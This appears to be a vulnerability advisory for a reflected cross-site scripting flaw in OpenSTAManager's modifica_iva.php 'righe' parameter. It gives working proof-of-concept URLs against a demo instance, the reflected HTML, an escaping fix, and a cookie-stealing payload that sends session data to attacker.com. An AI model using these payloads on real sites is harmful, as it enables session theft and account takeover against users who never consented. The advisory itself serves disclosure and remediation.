OpenSTAManager Affected by XSS in modifica_iva.php via righe parameter

Tested URLs (All vulnerable):

• https://demo.osmbusiness.it/modules/contratti/modals/modifica_iva.php?righe="><script>alert(document.cookie)</script>
• https://demo.osmbusiness.it/modules/preventivi/modals/modifica_iva.php?righe=1"><script>alert(document.cookie)</script>
• https://demo.osmbusiness.it/modules/fatture/modals/modifica_iva.php?righe="><script>alert(document.cookie)</script>
• https://demo.osmbusiness.it/modules/ddt/modals/modifica_iva.php?righe="><script>alert(document.cookie)</script>
• https://demo.osmbusiness.it/modules/ordini/modals/modifica_iva.php?righe="><script>alert(document.cookie)</script>
• https://demo.osmbusiness.it/modules/interventi/modals/modifica_iva.php?righe="><script>alert(document.cookie)</script>

Expected Result: JavaScript alert popup displays showing the current session cookie, confirming code execution.

HTML Output (verified on live instance):

<input type="hidden" name="righe" value=""><script>alert(document.cookie)</script>">

Verification:

Alternative Payloads: Session stealing: "><script>fetch('https://attacker.com/?c='+document.cookie)</script>

Impact

Affected Users: All authenticated users with access to contracts, invoices, quotes, or orders modules.

Attack Scenario:

1. Attacker crafts malicious URL with XSS payload
2. Attacker sends URL to victim via email/chat/phishing
3. Victim (authenticated user) clicks the link
4. Malicious JavaScript executes in victim's browser context
5. Attacker can:
   • Steal session cookies → Full account takeover
   • Perform actions on behalf of victim (create/modify/delete records)
   • Steal CSRF tokens and bypass CSRF protection
   • Redirect to phishing page
   • Inject keylogger to capture sensitive data
   • Modify page content to trick user into revealing credentials

Recommended Fix:

<input type="hidden" name="righe" value="<?php echo htmlspecialchars($_GET['righe'], ENT_QUOTES, 'UTF-8'); ?>">

Apply this fix to all affected files listed in Details section.